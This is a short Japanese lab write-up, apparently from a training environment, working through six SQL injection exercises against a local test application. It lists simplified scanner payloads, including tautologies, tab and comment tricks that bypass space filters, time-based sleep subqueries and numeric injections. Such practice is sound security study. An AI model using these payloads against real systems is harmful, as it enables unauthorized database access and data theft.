Hello there, ('ω')ノ
SQL injectionを。
動作確認をしてからアクティブスキャンを。
２つほどSQLインジェクションの脆弱性が発見できず。
まずは、Example1から。
いつものようにペイロードをデコーダへ。
デコードして内容を確認して。
デコードした内容理解してシンプルに。
10099437' or '2429'='2429
⇩
' or '1'='1
下記をエンコードしなくても実行すると脆弱性が確認できて。
http://192.168.0.207/sqli/example1.php?name=root' or '1'='1
他には。
' or '1'='1' #
⇩ #をエンコードして
' or '1'='1' %23
Exsample2については、さきほどのペイロードを挿入するとスペースのエラーが。
' or '1'='1
スペースを水平タブ（%09）に置き換えて。
'%09or%09'1'='1
Example2も同様にデコードすると。
下記のペイロードだとスペース（%2b）が入っいても機能するようで。
'%2b(select*from(select(sleep(20)))a)%2b'
⇩
'+(select*from(select(sleep(5)))a)+'
Exsample3については、スペース部分をコメントに変更して。
1つ以上の連続スペース（TAB / HTを含む）をフィルタ処理するので。
コメント/ ** /を使用して、このフィルタをバイパスできて。
'/**/or/**/'1'='1
一応、Example3もデコードして内容を確認して。
'%2b(select*from(select(sleep(20)))a)%2b'
⇩
'+(select*from(select(sleep(20)))a)+'
Example4では、\ x00、\ n、\ r、\、 '、 "、\ x1aをSQLi防止しているようで。
Idについては、数値なので使用する必要もなく。
http://192.168.0.207/sqli/example4.php?id=2%20or%201=1
Example4をデコードしてペイロードをシンプルにして。
52716214%20or%206619%3d06619
⇩
1%20or%201%3d1
Example5もデコードしてペイロードをシンプルにして。
Example4同様にSQLi防止を回避できて。
70125555%20or%201509%3d01509
⇩
1%20or%201%3d1
Example6もデコードしてペイロードをシンプルにして。
これも同じく。
72028444%20or%204676%3d04676
⇩
1%20or%201%3d1
Best regards, (^^ゞ
